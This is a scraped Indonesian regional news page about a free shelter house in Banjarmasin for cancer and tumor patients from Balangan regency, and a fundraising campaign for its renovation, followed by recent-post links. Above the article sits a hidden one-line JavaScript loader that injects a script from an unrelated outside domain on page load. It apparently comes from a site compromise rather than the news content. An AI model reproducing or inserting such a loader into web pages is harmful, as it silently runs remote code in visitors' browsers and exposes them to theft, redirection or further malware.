(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Ikhtiar Hadirkan Rumah Singgah untuk Pasien di Kabupaten Balangan


BANJARMASIN, Di Kalimantan Selatan, layanan kesehatan masih menjadi permasalahan besar, khususnya bagi masyarakat yang tinggal jauh dari pusat kota. Akses fasilitas kesehatan masih minim, terlebih untuk masyarakat yang tinggal di luar Banjarmasin. Sulitnya menjangkau fasilitas kesehatan membuat banyak masyarakat memilih berhenti menjalani pengobatan.

Warga Kabupaten Balangan salah satunya. Banyak di antara mereka yang sulit mengakses fasilitas di Banjarmasin untuk mendapatkan perawatan yang lebih baik. Banyak pasien penderita kanker dan tumor yang pada akhirnya memilih menghentikan pengobatan. Biaya menjadi alasan.

Maka dari itu, Yayasan Rumah Tahfidz Istiqamah dari Kabupaten Balangan berinisiatif mendirikan rumah singgah di Banjarmasin. Rumah Singgah Balangan atau dikenal RSB bertempat di Jalan Kini Balu RT 67 RW 23 No 26A Kelurahan Teluk Dalam, Banjarmasih Tengah, Kota Banjarmasin. Hunian ini menjadi rumah sementara bagi masyarakat Balangan yang sedang berobat di Banjarmasin.

Ketua Pengurus RSB Haris Fadilah mengatakan, tempat tinggal ini menjadi fasilitas untuk warga Balangan yang sedang menjalani pengobatan di Banjarmasin. Jarak Balangan-Banjarmasin yang cukup jauh sehingga transportasi menjadi kendala. “Rumah singgah ini dapat dihuni masyarakat Balangan, gratis,” jelasnya, Senin (18/3).

Haris menuturkan, rumah singgah itu berdiri atas dasar kepedulian terhadap warga Balangan yang tak memiliki uang untuk berobat ke Banjarmasin.  “Rumah Singgah Balangan ini memprioritaskan pasien rujukan dari Balangan yang menderita kanker dan tumor, sebab ada masa istirahat sebelum proses kemoterapi dilakukan. Sangat mahal jika mereka harus bolak-balik ke rumahnya,” imbuhnya.

Akan tetapi, sejak dibuka dua bulan lalu, tak hanya warga Balangan yang menempati rumah singgah itu. Tercatat warga dari Kabupaten Hulu Sungai Selatan pernah menempati rumah sederhana itu.

Melihat manfaatnya yang begitu besar, Aksi Cepat Tanggap (ACT) Kalimatan Selatan  bertekad melakukan pendampingan sejak pertama RSB hadir. Selain itu, ACT juga melakukan penggalangan dana untuk perbaikan kondisi rumah yang masih terdapat kerusakan di beberapa bagian.

Head of Marketing and Communication ACT Kalsel Zainal Arifin mengatakan, penggalangan dana untuk RSB ini dilakukan secara daring, bekerja sama dengan kitabisa.com. Hingga Ahad (10/3), telah terkumpul donasi sebesar Rp 159 juta dari 1.401 donatur. “Sebenarnya target kami adalah Rp 100 juta, dan renovasi akan dimulai pada bulan Maret ini,” ucap Zainal.(retno/act)

Reporter:retno/act
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.